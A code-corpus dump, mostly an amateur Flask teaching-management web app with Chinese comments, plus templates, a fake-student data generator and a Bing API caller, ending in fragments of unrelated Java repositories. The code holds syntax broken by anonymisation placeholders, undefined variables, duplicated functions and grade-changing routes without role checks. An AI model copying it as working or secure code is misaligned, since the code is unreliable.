filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS def is_sign(): # 检查登陆的方法 如果登录 带上用户名以显示 附带检查未读消息 if 'username' in session: #新增 会在每次调用该函数时 检查未读消息 session['num_not_read']=mysql_model.not_read_message_num(session['username']) return ('true',session['username']) else: return ('false',) #定制404页面 @app.errorhandler(404) def page_not_found(error): return render_template('page_not_found.html'), 404 #实验========================================== #to do @app.route('/bing',methods=['POST']) def bing(): q=request.form.get('search') bing_api.bing_search(q) return render_template('result.html') #首页========================================== #为什么单列出来 (部分因为我乐意)但其实确实有用(分离教师学生登录) 另外 在返回静态页面的函数中直接<>==''好像不起作用 @app.route('/',methods=['GET','POST']) def home(): #返回首页 通过登录id判断教师和学生 返回各自的首页 if 'username' in session: if session['username'].startswith('1412'): return redirect(url_for('student_index')) else: return redirect(url_for('teacher_index')) #return render_template('teacher/index.html',title='欢迎教师'+session['username'],signin=is_sign()) else: return render_template('home.html',title='教学管理系统',signin=is_sign()) #登陆,登出==================================== @app.route('/signin',methods=['POST','GET']) #登陆函数 两种method分别对应登录操作和返回登录表单 def signin(): if request.method=='POST': username=request.form['id'] password=request.form['password'] if mysql_model.login(username,password): session['username']=username #print('get') if username.startswith('1412'): return redirect(url_for('student_index')) else: return redirect(url_for('teacher_index')) return render_template('sign-form.html',title='登录',signin=is_sign(),message='登录失败') if request.method=='GET': return render_template('sign-form.html',title='登录',signin=is_sign()) @app.route('/signout',methods=['GET']) #登出函数 考虑更好的登出方式 以及考虑SESSION有效时间的问题(目前生命周期为这个会话) def signout(): if request.method=='GET': session.pop('username', None) return redirect(url_for('signin',signin=is_sign())) #注册========================================== @app.route('/register',methods=['POST']) #注册(还需完善:详细注册失败原因(该ID已注册;两道密码不符;); #考虑在注册成功返回首页后加个弹窗) def register(): username=request.form.get('id') password=request.form.get('<PASSWORD>') password2=request.form.get('password2','') if username == '': return render_template('register-form.html',message='请输入注册ID',title='注册失败',signin=is_sign()) if password == '': return render_template('register-form.html',message='请输入密码',title='注册失败',signin=is_sign()) if password==<PASSWORD>: session['username']=username if mysql_model.register(username,password): return render_template('home.html',signin=is_sign(),title='注册成功') else: return render_template('register-form.html',message='注册失败,账户已存在',title='注册失败',signin=is_sign()) return render_template('register-form.html',message='请正确重复密码',title='注册失败',signin=is_sign()) #收集意见反馈=================================== @app.route('/feedback',methods=['POST']) def collect_advice(): email=request.form.get('email') advice=request.form.get('advice') mysql_model.insert_advice(email,advice) return render_template('feedback.html',message='您的意见我们已经收到,您的意见对我们很重要,非常感谢',title='意见反馈',signin=is_sign()) #返回静态页面=================================== @app.route('/<staic_page>',methods=['GET']) def render_staic_page(staic_page): if staic_page=='find-student-form': return render_template('find-form.html',title='查找学生',signin=is_sign(),student=1) elif staic_page=='find-teacher-form': return render_template('find-form.html',title='查找老师',signin=is_sign(),teacher=1) elif staic_page=='find-course-form': return render_template('find-form.html',title='查找课程',signin=is_sign(),course=1) elif staic_page=='find-reward-form': return render_template('find-form.html',title='查找奖项',signin=is_sign(),reward=1) elif staic_page=='find-seminar-form': return render_template('find-form.html',title='查找研讨',signin=is_sign(),seminar=1) elif staic_page=='signin': return render_template('sign-form.html',title='登录') elif staic_page=='register': return render_template('register-form.html',title='注册',message='',signin=is_sign()) elif staic_page=='help': return render_template('help.html',tilte='帮助中心',signin=is_sign()) elif staic_page=='about': return render_template('about.html',tilte='关于',signin=is_sign()) elif staic_page=='feedback': return render_template('feedback.html',tilte='意见反馈',signin=is_sign()) elif staic_page=='base': return render_template('base.html') #这样好像不起作用 #elif staic_page=='': # return render_template('home.html') #查询所有======================================= @app.route('/find/<find_what>',methods=['GET']) def find_all(find_what): #查询所有的课程 学生 老师(通过select*实现 无排序) if find_what=='allstudent': return render_template('find-result.html', result=mysql_model.find_all_student(),title='所有学生',student=1,signin=is_sign()) elif find_what=='allteacher': return render_template('find-result.html', result=mysql_model.find_all_teacher(),title='所有教师',teacher=1,signin=is_sign()) elif find_what=='allcourse': return render_template('find-result.html', result=mysql_model.find_all_course(),title='所有课程',course=1,signin=is_sign()) elif find_what=='allreward': return render_template('find-result.html', result=mysql_model.find_all_reward(),title='所有奖项',reward=1,signin=is_sign()) elif find_what=='allseminar': return render_template('find-result.html', result=mysql_model.find_all_seminar(),title='所有研讨',seminar=1,signin=is_sign()) #教师页操作===================================== @app.route('/teacher/index',methods=['GET']) def teacher_index(): teacher_id=session['username'] message=mysql_model.get_message(int(teacher_id)) #message=False #if message is False: # message='暂时没有您的消息' return render_template('teacher/index.html',title='欢迎教师'+teacher_id, signin=is_sign(),message=message) @app.route('/teacher/<staic_page>',methods=['GET']) #静态页 def render_teacher_staic_page(staic_page): if staic_page=='absence': return render_template('/teacher/student-absence.html', title='纪录学生缺勤', signin=is_sign()) @app.route('/teacher/allcourse',methods=['GET']) def find_teacher_what(): #该函数设置考虑调整 return find_teacher_course() def find_teacher_course(): #教师查询自己所授的课程 teacher_id=session['username'] print(teacher_id) result=mysql_model.find_teacher_id(teacher_id) if result=='': result='没有你的数据' else: #print((result[0][7].split(','))[0]) result=mysql_model.find_course_list((result[0][7].split(','))) return render_template('/teacher/teacher-course.html', result=result,title='所授课程',teacher_course='1',signin=is_sign()) @app.route('/teacher/course/<course_id>',methods=['GET','POST']) #教师查看所授课程中的学生(进入课程页) def find_student_in_course(course_id): if request.method=='GET': session['course_id_now']=course_id#纪录下当前操作的课程的课程后 以供后来使用 会每次刷新 return render_template('/teacher/course-student.html', result=mysql_model.find_student_course(course_id),title='课程管理', signin=is_sign(),course_id=course_id) else: teacher_id=session['username'] order=request.form.get('order') session['course_id_now']=course_id#纪录下当前操作的课程的课程后 以供后来使用 会每次刷新 if order !='student_rate': return render_template('/teacher/course-student.html', result=mysql_model.find_student_course_order(course_id,teacher_id,order),title='课程管理', signin=is_sign(),course_id=course_id) else: return render_template('/teacher/course-student.html', result=mysql_model.find_student_course_rate(course_id,teacher_id),title='课程管理', signin=is_sign(),student_rate=1) @app.route('/teacher/student/<student_id>',methods=['GET']) #教师管理所授课程中的学生(进入学生页) def manage_course_student(student_id): return render_template('/teacher/course-student.html', result=mysql_model.find_student_id(student_id),title='管理课程学生', signin=is_sign(),student_id=student_id) @app.route('/teacher/student/absence/<student_id>',methods=['GET','POST']) #教师纪录单个学生缺勤(进入纪录缺勤页:第几次课缺勤) def student_absence(student_id): course_id=session['course_id_now'] absence_list='' absence_count=0 if request.method=='GET': return render_template('/teacher/student-absence.html', title='纪录学生缺勤', signin=is_sign(),student_id=student_id,course_id=course_id) else: for x in range(1,11): absence=request.form.get('course_time'+str(x),None) if absence!=None: #print('course_time'+'x',absence) absence_list=absence_list+absence absence_count+=1 print(absence_list,absence_count) print(mysql_model.student_absence(student_id,course_id,absence_list,absence_count)) return render_template('/teacher/student-absence.html', title='纪录学生缺勤', signin=is_sign(),student_id=student_id,course_id=course_id,message='缺勤记录已提交,再次提交将覆盖之前的纪录') @app.route('/teacher/student/ordinary-score/<student_id>',methods=['GET','POST']) #教师评定单个学生平时成绩(进入学生平时成绩页) def student_ordinary_score(student_id): course_id=session['course_id_now'] if request.method=='GET': return render_template('/teacher/ordinary-score.html', title='评定学生平时成绩',result=mysql_model.find_student_id(student_id), signin=is_sign(),student_id=student_id,course_id=course_id) else: score=request.form.get(student_id) mysql_model.ordinary_score(student_id,course_id,score) return render_template('/teacher/ordinary-score.html', title='评定学生平时成绩',result=mysql_model.find_student_id(student_id), signin=is_sign(),student_id=student_id,course_id=course_id,message='平时成绩已提交,再次提交将覆盖之前的纪录') @app.route('/teacher/ordinary-score/<course_id>',methods=['GET','POST']) #教师评定课程所有学生平时成绩(进入平时成绩页) def course_ordinary_score(course_id): session['course_id_now']=course_id if request.method=='GET': #进入表单 session['course_id_now']=course_id return render_template('/teacher/ordinary-score.html', title='评定学生平时成绩',result=mysql_model.find_student_ordinary(course_id), signin=is_sign(),course_id=course_id) else: #提交成绩 score=request.form.to_dict() for x in score: print(x,score[x]) mysql_model.ordinary_score(x,course_id,score[x]) return render_template('/teacher/ordinary-score.html', title='评定学生平时成绩',result=mysql_model.find_student_ordinary(course_id), signin=is_sign(),course_id=course_id,message='平时成绩已提交,再次提交将覆盖之前的纪录') @app.route('/teacher/homework/score/<course_id>',methods=['POST']) #教师给作业打分 def homework_score(course_id): score=request.form.to_dict() for x in score: #print(x,score[x]) mysql_model.homework_score(x,course_id,score[x]) return redirect(url_for('teacher_correct_work',course_id=course_id,message='作业成绩已提交,再次提交将覆盖之前的纪录')) @app.route('/teacher/student/score/<student_id>',methods=['GET']) #教师查看指定学生成绩历史成绩 def student_history_score(student_id): result=mysql_model.find_history_score(student_id) return render_template('/student/student-result.html', result=result,student_score=1,title='查看历史成绩',signin=is_sign()) @app.route('/teacher/seminar/<teacher_id>',methods=['GET','POST']) #教师创建研讨 def teacher_create_seminar(teacher_id): if request.method=='GET': return render_template('/teacher/seminar.html',teacher_id=teacher_id, title='创建研讨',signin=is_sign()) else: teacher_id=session['username'] seminar_name=request.form.get('seminar_name') seminar_time=request.form.get('seminar_time') seminar_location=request.form.get('seminar_location') mysql_model.insert_seminar(seminar_name,teacher_id,seminar_location,seminar_time) return render_template('/teacher/seminar.html',teacher_id=teacher_id, title='创建研讨',signin=is_sign(),message='创建完成') @app.route('/teacher/course-work/<course_id>',methods=['GET']) #教师查看学生作业(进入课程作业页) def teacher_correct_work(course_id,message=''): find_work=True all_work={} session['course_id_now']=course_id result=mysql_model.find_student_course(course_id) dir_course_path=os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now']) if os.path.isdir(dir_course_path): for student in result: student_id=student[0] dir_student_path=os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now'],str(student_id)) if os.path.isdir(dir_student_path): all_work[student_id]=[x for x in os.listdir(dir_student_path)] else: all_work[student_id]=['尚未上传'] else: find_work=False #print(find_work,all_work) return render_template('/teacher/course-work.html', title='批改作业', signin=is_sign(),result=result,course_id=course_id,find_work=find_work,all_work=all_work,message=message) @app.route('/teacher/course-work/open/<student_id>/<filename>',methods=['GET']) #打开对应的文件 def open_file(student_id,filename): print(student_id,filename) print(session['course_id_now']) return send_from_directory(os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now'],student_id),filename) # #'d:/test/1001/14120001' #学生页操作============================================ @app.route('/student/index',methods=['GET']) def student_index(): student_id=session['username'] message=mysql_model.get_message(int(student_id)) return render_template('student/index.html',title='欢迎同学'+session['username'], signin=is_sign(),message=message) @app.route('/student/allcourse',methods=['GET']) #学生查看自己所有课程 def student_all_course(): student_id=session['username'] print(student_id) result=mysql_model.find_student_id(student_id) if result=='': result='没有你的数据' #print((result[0][0].split(','))[0]) else: result=mysql_model.find_course_list((result[0][8].split(','))) return render_template('/student/student-result.html', result=result,course=1,title='所选课程',signin=is_sign()) @app.route('/student/course-teacher/<course_id>',methods=['GET']) #学生查看上课的老师(进入教师页) def find_teacher_in_course(course_id): session['course_id_now']=course_id result=mysql_model.find_teacher_course(course_id) return render_template('/student/student-result.html', result=result,teacher=1,title='查看教师',signin=is_sign()) @app.route('/student/rate/<teacher_id>',methods=['GET','POST']) #学生评价教师 def student_rate_teacher(teacher_id): student_id=session['username'] course_id=session['course_id_now'] rate='' score=0 if request.method=='GET': return render_template('/student/teacher-rate.html', title='评价教师',signin=is_sign(),teacher_id=teacher_id) else: for x in range(1,6): rate+=request.form.get(str(x),None) score+=int(request.form.get(str(x),None)) print(rate,score) mysql_model.rate_teacher(student_id,teacher_id,course_id,rate,score) return render_template('/student/teacher-rate.html', title='评价教师',signin=is_sign(),teacher_id=teacher_id,message='教师评价已提交,再次提交将覆盖之前的纪录') @app.route('/student/online-learn',methods=['POST','GET']) #学生在线学习 def student_online_learn(): if request.method=='GET': return render_template('/student/online-learn.html', title='在线学习',signin=is_sign(),message='') @app.route('/student/score',methods=['GET']) #学生查看历史成绩(进入学生结果页) def find_history_score(): student_id=session['username'] result=mysql_model.find_history_score(student_id) return render_template('/student/student-result.html', result=result,score=1,title='查看历史成绩',signin=is_sign()) @app.route('/student/course-work/<course_id>',methods=['POST','GET']) #学生上传对应课程的作业(全力施工中) def student_homework(course_id): session['course_id_now']=course_id#纪录下当前操作的课程的课程后 以供后来使用 会每次刷新 if request.method=='GET': return render_template('/student/student-homework.html' ,course_id=course_id,title='上传作业',signin=is_sign()) if request.method=='POST': file = request.files['file'] #print(allowed_file(file.filename)) #文件类型规定 if file and allowed_file(file.filename): filename = secure_filename(file.filename) #如果首次上传则需要先新建课程/学号;两层文件夹 dir_course_path=os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now']) dir_student_path=os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now'],session['username']) if not os.path.isdir(dir_course_path): os.mkdir(dir_course_path) if not os.path.isdir(dir_student_path): os.mkdir(dir_student_path) file.save(os.path.join(app.config['UPLOAD_FOLDER'],session['course_id_now'],session['username'],filename)) return render_template('/student/student-homework.html' ,course_id=course_id,title='上传成功',signin=is_sign()) return render_template('/student/student-homework.html' ,course_id=course_id,title='上传失败',signin=is_sign()) #精确参数查找========================================= @app.route('/find/<find_what>',methods=['POST']) def find_what(find_what): if find_what=='student': return find_student() elif find_what=='course': return find_course() elif find_what=='teacher': return find_teacher() elif find_what=='reward': return find_reward() elif find_what=='seminar': return find_seminar() def find_student(): #通过学生参数数据库查找函数 item=['student_id','student_name','student_gpa_max','student_gpa_min', 'order','up_or_down','is_dishonour','student_course','student_grade', 'student_reward','student_seminar','student_grade','student_major'] #页面表单输入项 学生学号,学生姓名等,表单若不填默认为'' cond={x:request.form.get(x) for x in item} #通过生成器生成学生查找参数字典 result=mysql_model.find_some_student(cond) #通过字典参数传递给数据库查找函数 print(result)#测试返回结果 if result=='': result='没有符合的同学' #没有符合条件的学生 return render_template('find-result.html', result=result,title='found students',student='1',signin=is_sign()) #返回在静态页面上动态生成的学生搜索结果,设定标题,结果类型为学生,以及注册信息 def find_course(): item=['course_id','course_name','course_time','course_location'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_course(cond) print(result) if result=='': result='没有符合的课程' return render_template('find-result.html', result=result,title='found courses',course='1',signin=is_sign()) def find_teacher(): item=['teacher_id','teacher_name','teacher_seminar','teacher_college', 'order','up_or_down','teacher_course','teacher_college'] cond={x:request.form.get(x) for x in item} #表单若不填为'' result=mysql_model.find_some_teacher(cond) print(result) if result=='': result='没有符合的教师' return render_template('find-result.html', result=result,title='found teachers',teacher='1',signin=is_sign()) def find_reward(): item=['reward_id','reward_name','reward_student_id'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_reward(cond) print(result) if result=='': result='没有符合的奖项' return render_template('find-result.html', result=result,title='查找奖项',reward=1,signin=is_sign()) def find_seminar(): item=['seminar_id','seminar_name','seminar_student_id','seminar_teacher_id'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_seminar(cond) print(result) if result=='': result='没有符合的研讨项目' return render_template('find-result.html', result=result,title='查找研讨',seminar=1,signin=is_sign()) def find_reward(): item=['reward_id','reward_name','reward_student_id'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_reward(cond) print(result) if result=='': result='没有符合的奖项' return render_template('find-result.html', result=result,title='查找研讨',reward=1,signin=is_sign()) #模糊查询=============================================== @app.route('/find/regex/<find_what>',methods=['POST']) def find_regex_what(find_what): if find_what=='student': return find_student_regex() elif find_what=='teacher': return find_teacher_regex() elif find_what=='course': return find_course_regex() elif find_what=='seminar': return find_seminar_regex() elif find_what=='reward': return find_reward_regex() def find_student_regex(): item=['student_id','student_name','student_gpa_max','student_gpa_min', 'order','up_or_down','is_dishonour','student_course','student_grade', 'student_reward','student_seminar','student_grade','student_major'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_student(cond,True) print(result) if result=='': result='没有符合的同学' return render_template('find-result.html', result=result,title='found students',student='1',signin=is_sign()) def find_course_regex(): item=['course_id','course_name','course_time','course_location'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_course(cond,True) print(result) if result=='': result='没有符合的课程' return render_template('find-result.html', result=result,title='found courses',course='1',signin=is_sign()) def find_teacher_regex(): item=['teacher_id','teacher_name','teacher_seminar','teacher_college' ,'order','up_or_down','teacher_course','teacher_college'] cond={x:request.form.get(x) for x in item} #表单若不填为'' result=mysql_model.find_some_teacher(cond,True) print(result) if result=='': result='没有符合的教师' return render_template('find-result.html', result=result,title='found teachers',teacher='1',signin=is_sign()) def find_seminar_regex(): item=['seminar_id','seminar_name','seminar_student_id','seminar_teacher_id'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_seminar(cond,True) print(result) if result=='': result='没有符合的研讨项目' return render_template('find-result.html', result=result,title='查找研讨',seminar=1,signin=is_sign()) def find_reward_regex(): item=['reward_id','reward_name','reward_student_id'] cond={x:request.form.get(x) for x in item} result=mysql_model.find_some_reward(cond,True) print(result) if result=='': result='没有符合的奖项' return render_template('find-result.html', result=result,title='查找研讨',reward=1,signin=is_sign()) #站内信部分============================================= @app.route('/allmessage',methods=['GET']) def check_all_message(): #查看所有消息,并将所有未读消息转为已读 receiver_id=session['username'] result=mysql_model.get_all_message(receiver_id) mysql_model.set_message_read(receiver_id) return render_template('all-message.html',title='我的消息',signin=is_sign(),result=result) @app.route('/allmessage/<action>',methods=['GET']) def message_action(action): #操作所有消息 receiver_id=session['username'] if action=='read-all': mysql_model.set_message_read(receiver_id) result=mysql_model.get_all_message(receiver_id) message='已将所有消息设为已读' return render_template('all-message.html',title='我的消息', signin=is_sign(),message=message,result=result) elif action=='not-read-all': mysql_model.set_message_not_read(receiver_id) result=mysql_model.get_all_message(receiver_id) message='已将所有消息设为未读' return render_template('all-message.html',title='我的消息', signin=is_sign(),message=message,result=result) elif action=='delete-all': mysql_model.delete_all_message(receiver_id) result=mysql_model.get_all_message(receiver_id) message='已将所有消息删除,但可通过联系网站恢复' return render_template('all-message.html',title='我的消息', signin=is_sign(),message=message,result=result) @app.route('/message',methods=['POST','GET']) def send_message(): #发送站内信页面 if request.method=='POST': sender=session['username'] to=request.form['to'] title=request.form['title'] text=request.form['text'] mysql_model.insert_message(to,sender,text) return render_template('message-form.html',title='发送站内信',signin=is_sign()) else: return render_template('message-form.html',title='发送站内信',signin=is_sign()) @app.route('/message/<receiver_id>',methods=['GET']) def send_message_2sb(receiver_id): #发送站内信给某人 return render_template('message-form.html',title='发送站内信', signin=is_sign(),receiver_id=receiver_id) @app.route('/message/course/<course_id>',methods=['GET','POST']) def send_message_2_course(course_id): #发送站内信给某班级的全部同学 sender_id=session['username'] if request.method=='POST': message=request.form['text'] mysql_model.all_course_message(course_id,sender_id,message) return render_template('/teacher/message-course-form.html',title='班级通知已发送', signin=is_sign(),message='班级通知已发送') else: return render_template('/teacher/message-course-form.html',title='班级通知', signin=is_sign(),course_id=course_id) #邮件部分=============================================== @app.route('/email') def email(): receiver=request.args.get('receiver') signin=request.args.get('signin') return render_template('email-form.html',title='发送邮件',signin=is_sign()) @app.route('/contact-allstudent/<course_id>') #联系课程中所有学生 def contact_allstudent(course_id): receiver_email=mysql_model.get_course_all_email(course_id) print(receiver) return render_template('email-form.html',title='发送邮件', signin=is_sign(),receiver_email=receiver_email,receiver_name='全体同学') @app.route('/contact-student/<student_id>') #联系学生 def contact_student(student_id): receiver=mysql_model.find_student_id(student_id) print(receiver) return render_template('email-form.html',title='发送邮件', signin=is_sign(),receiver_email=receiver[0][4],receiver_name=receiver[0][1]) @app.route('/contact-teacher/<teacher_id>') #联系教师(待施工 考虑自动加上发送邮件的学生姓名ps:其实就是session中的学号)(已取消,不重要) def contact_teacher(teacher_id): receiver=mysql_model.find_teacher_id(teacher_id) print(receiver) return render_template('email-form.html',title='发送邮件', signin=is_sign(),receiver_email=receiver[0][3],receiver_name=receiver[0][1]) #return redirect(url_for('email',signin=is_sign(),receiver=receiver)) @app.route('/send-email',methods=['POST']) def sending_email(): #根据勾选的情况 发送给个人/多人(取消) return send_email2person() def send_email2person(): #发送email给指定的收件人 to=email_regex.get_email(request.form['to']) title=request.form['title'] text=request.form['text'] if (to!=None) and (to!=''): try: send_email.sendemail(to,title,text) return render_template('email-form.html',message='sent',signin=is_sign()) except : return render_template('email-form.html',message='failed',signin=is_sign()) else: return render_template('email-form.html',message='bad email address',signin=is_sign()) #def send_email2all(): #发送email给多人(施工/考虑中)(已取消) # return render_template('email-form.html',message='Working on it!',signin=is_sign()) #主函数====================================== if __name__=='__main__': app.run() <file_sep>{% extends "base.html" %} {% block main %} <body> <div class='container'> {% if message %} <p style="color:red">{{ message }}</p> {% endif %} <form action="/message/course/{{course_id}}" method="post"> <legend>发送班级通知:</legend> <p>课程编号:<legend>{{course_id}}</legend></p> <p>通知 :<input name="text" placeholder="Text" type="text" size='50' value=''></p> <p><button class="btn btn-primary" type="submit">发送</button></p> </form> </div> </body> {% endblock %} <file_sep>import random,mysql.connector name_boy='<NAME> 俊 峰 强 军 平 保 东 文 辉 力 明 永 健 世 广 志 义 兴 良 海 山 仁 波 宁 贵 福 生 龙 元 全 国 胜 学 祥 才 发 武 新 利 清 飞 彬 富 顺 信 子 杰 涛 昌 成 康 星 光 天 达 安 岩 中 茂 进 林 有 坚 和 彪 博 诚 先 敬 震 振 壮 会 思 群 豪 心 邦 承 乐 绍 功 松 善 厚 庆 磊 民 友 裕 河 哲 江 超 浩 亮 政 谦 亨 奇 固 之 轮 翰 朗 伯 宏 言 若 鸣 朋 斌 梁 栋 维 启 克 伦 翔 旭 鹏 泽 晨 辰 士 以 建 家 致 树 炎 德 行 时 泰 盛' name_girl='筠 柔 竹 霭 凝 晓 欢 霄 枫 芸 菲 寒 伊 亚 宜 可 姬 舒 影 荔 枝 思 丽 秀 娟 英 华 慧 巧 美 娜 静 淑 惠 珠 翠 雅 芝 玉 萍 红 娥 玲 芬 芳 燕 彩 春 菊 勤 珍 贞 莉 兰 凤 洁 梅 琳 素 云 莲 真 环 雪 荣 爱 妹 霞 香 月 莺 媛 艳 瑞 凡 佳 嘉 琼 桂 娣 叶 璧 璐 娅 琦 晶 妍 茜 秋 珊 莎 锦 黛 青 倩 婷 姣 婉 娴 瑾 颖 露 瑶 怡 婵 雁 蓓 纨 仪 荷 丹 蓉 眉 君 琴 蕊 薇 菁 梦 岚 苑 婕 馨 瑗 琰 韵 融 园 艺 咏 卿 聪 澜 纯 毓 悦 昭 冰 爽 琬 茗 羽 希 宁 欣 飘 育 滢 馥' surname=['赵','钱','孙','李','周','吴','郑','王','冯', '陈','丁','廖','邓','毛','刘','朱','宋','齐','梁','赵', '杨','黄','林','顾','姚','徐','许','武','章','张','肖', '马','牛','牟','杜','楚','曾','秦','郜','蒿','郝','冯'] name_list_boy=name_boy.split(' ') name_list_girl=name_girl.split(' ') list_name=[] def create_phonenumber(): pnum='13' pnum+=str(random.randint(000000000,999999999)) #print(pnum) return pnum def create_email(): email_server=['@qq.com','@163.com'] if random.randint(0,1)==0: qq=str(random.randint(300000000,1300000000)) return qq+'@<EMAIL>' else: return creat_phonenumber()+'<EMAIL>' def create_gpa(): return str(random.randint(0,3))+'.'+str(random.randint(000,999)) def create_course(): course_count=random.randint(1,4) if course_count==1: return str(random.randint(1001,1004)) elif course_count==2: return str(random.randint(1001,1004))+','+str(random.randint(1001,1004)) elif course_count==3: return str(random.randint(1001,1004))+','+str(random.randint(1001,1004))+','+str(random.randint(1001,1004)) else: return str(random.randint(1001,1004))+','+str(random.randint(1001,1004))+','+str(random.randint(1001,1004))+','+str(random.randint(1001,1004)) def creat_major(): rand=random.randint(1,15) if rand<12: return '通信工程' elif rand<14: return '电子信息工程' else: return '生物医学工程' def create_name(): girl_boy=random.randint(0,1) one_two=random.randint(0,2) if girl_boy==1: if one_two!=0:#(25%单名) student_name=surname[random.randint(0,41)]+name_list_boy[random.randint(1,130)]+name_list_boy[random.randint(1,130)] else: student_name=surname[random.randint(0,41)]+name_list_boy[random.randint(1,130)] else: if one_two!=0: student_name=surname[random.randint(0,41)]+name_list_girl[random.randint(1,140)]+name_list_girl[random.randint(1,140)] else: student_name=surname[random.randint(0,41)]+name_list_girl[random.randint(1,140)] #print(student_name) return student_name def create_student(start,end): grade='3' no='None' for x in range(start,end): conn = mysql.connector.connect(host='172.16.58.3',user='lf', password='<PASSWORD>',database='intelligent_teaching_system') cursor = conn.cursor() sql='insert into student values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)' result=cursor.execute(sql,(x,create_name(),grade,create_major(),create_email(),create_phonenumber(),create_gpa(),no,create_course(),no,no)) cursor.close() conn.commit() conn.close() #print(x) #print(create_email()) if __name__=='__main__': <file_sep>########### Python 3.2 ############# import http.client, urllib.request, urllib.parse, urllib.error, base64 def bing_search(q): headers = { # Request headers 'Ocp-Apim-Subscription-Key': '<KEY>', } params = urllib.parse.urlencode({ # Request parameters 'q': q, 'count': '10', 'offset': '0', 'mkt': 'en-us', 'safesearch': 'Moderate', }) try: conn = http.client.HTTPSConnection('api.cognitive.microsoft.com') conn.request("GET", "/bing/v5.0/search?%s" % params, "{body}", headers) response = conn.getresponse() data = response.read() with open('./templates/result.html','wb')as file: file.write(data) conn.close() except Exception as e: print("[Errno {0}] {1}".format(e.errno, e.strerror)) if __name__=='__main__': bing_search('bill')<file_sep>{% extends "base.html" %} {% block main %} <body> <div class='container'> {% if message %} <p style="color:red">{{ message }}</p> {% endif %} <form action="/send-email" method="post"> <legend>发送邮件:&nbsp;&nbsp;&nbsp;&nbsp; <a href="/message" class="btn btn-primary " type="butter">发送站内信</a></legend> {%if receiver_name%} <p>收件人:<input name="to" placeholder="To" value={{receiver_email}}></p> <p>标题 :<input name="title" placeholder="Title" type="text" value='你好!{{receiver_name}}'></p> <p>正文 :<input name="text" placeholder="Text" type="text" size='50' value=''></p> {%else%} <p>收件人:<input name="to" placeholder="To" value=''></p> <p>标题 :<input name="title" placeholder="Title" type="text"></p> <p>正文 :<input name="text" placeholder="Text" type="text" size='50'></p> {%endif%} <p><button class="btn btn-primary" type="submit">发送</button></p> </form> </div> </body> {% endblock %}
0a023fde560c8ac67720fc3cffb14c9d523e953b
[ "Markdown", "Python", "HTML" ]
11
Python
ljgibbslf/Teaching-Learning-System
546261adf74638f1163afb0cc4ca67f86dd4ec77
43c2d05c292c0aab76b11856833f13529fcd2589
refs/heads/master
<file_sep>class River attr_accessor :fishes def initialize(fishes) @fishes = fishes end def fish_length return @fishes.length end def get_fish #bescause these files are linked and because fish is (@) instance variable it is available to the other files. @fishes.pop.fish_name end end # def eat_fish #this will allow me to take a fish out of the river and pop it to an array # barray = [] #but how to get the array back to the bear?!! # if @fishes.empty? # return "No more fish" # else barray = @fishes.pop.fish_name # end # return barray # end<file_sep>require ('minitest/autorun') require ('minitest/rg') require_relative('./fish') class TestFish < MiniTest::Test def setup @fish = Fish.new("Alex") end def test_fish_name assert_equal("Alex", @fish.fish_name) end end<file_sep>class Bear attr_reader :bear_name, :bear_type,:bear_food # attr_accessor def initialize(name, type) @bear_name = name @bear_type = type @bear_food = [] #bear is not initialized with food he only gets food when he goes to the river. In the method below. end #you can add any number of things here and access them further down but just don't need to pass in on initialize. def bear_roar return "Rooaaar!" end #below is the code guven in class to get access to the fish in the river def take_fish_from_river(river) fish = river.get_fish#fish is a variable created just for function it grabs something from the 'get fish method in river' @bear_food<< fish unless fish.nil? #it then pushes it to the @food array end end<file_sep>class Fish attr_reader :fish_name def initialize(name) @fish_name = name end def fish_name return @fish_name end end<file_sep>require ('minitest/autorun') require ('minitest/rg') require_relative('./bear') require_relative('./river') require_relative('./fish') class TestBear < MiniTest::Test def setup @bear = Bear.new("Jim", "Brown") fish1 = Fish.new("Cod") fish2 = Fish.new("Mackrel") fish3 = Fish.new("Trout") fishes = [ fish1, fish2, fish3] @river = River.new(fishes) end def test_bear_name assert_equal("Jim", @bear.bear_name) end def test_bear_roar assert_equal("Rooaaar!", @bear.bear_roar) end def test_assign_tummy #how to get the info from the array over to the bears tummY? assert_equal(["Trout"],@bear.take_fish_from_river(@river)) end end<file_sep>require ('minitest/autorun') require ('minitest/rg') require_relative('./river') require_relative('./fish') require_relative('./bear') class TestRiver < MiniTest::Test def setup fish1 = Fish.new("Cod") fish2 = Fish.new("Mackrel") fish3 = Fish.new("Trout") fishes = [ fish1, fish2, fish3] @river = River.new(fishes) end def test_fish_length assert_equal(3, @river.fish_length) end def test_get_fish assert_equal("Trout", @river.get_fish) end end
536e55693cc8f3cd095774eda284a44de01be39b
[ "Ruby" ]
6
Ruby
MHogg8/bear
5d32799b3af130b582f3e3df2a7300c282902b71
7762f25adeb89d85ae08364dcc2d76c2a3a285d3
refs/heads/master
<repo_name>emirbobo/helloworld<file_sep>/httpapp/src/main/java/lsy/app/http/pack/PackInit.java package lsy.app.http.pack; import lsy.app.main.AppClient; import org.apache.http.StatusLine; /** * Created by Administrator on 2016/9/12. */ public class PackInit extends Pack { protected PackInit() { super("/otsmobile/apps/services/api/MobileTicket/android/init"); } @Override public void handleResult(AppClient appClient, StatusLine statusLine, String response) { } } <file_sep>/httpapp/src/main/java/lsy/app/http/pack/PackLaunch.java package lsy.app.http.pack; import lsy.app.main.AppClient; import org.apache.http.StatusLine; /** * Created by Administrator on 2016/9/12. */ public class PackLaunch extends Pack { public PackLaunch() { super("https://mobile.12306.cn/otsmobile/track/alaunch"); } @Override public void handleResult(AppClient appClient, StatusLine statusLine, String response) { } } <file_sep>/mybatis-test/mybatis-plugin/src/main/java/com/emirbobo/proxy/TargetImpl.java package com.emirbobo.proxy; /** * Created by xijingbo on 2016-08-31. */ public class TargetImpl implements Target { @Override public void execute1() { System.out.println("Execute1"); } @Override public void execute2() { System.out.println("Execute2"); } } <file_sep>/code-test/src/main/java/util/UtilFile.java package util; import java.io.*; /** * Created by Administrator 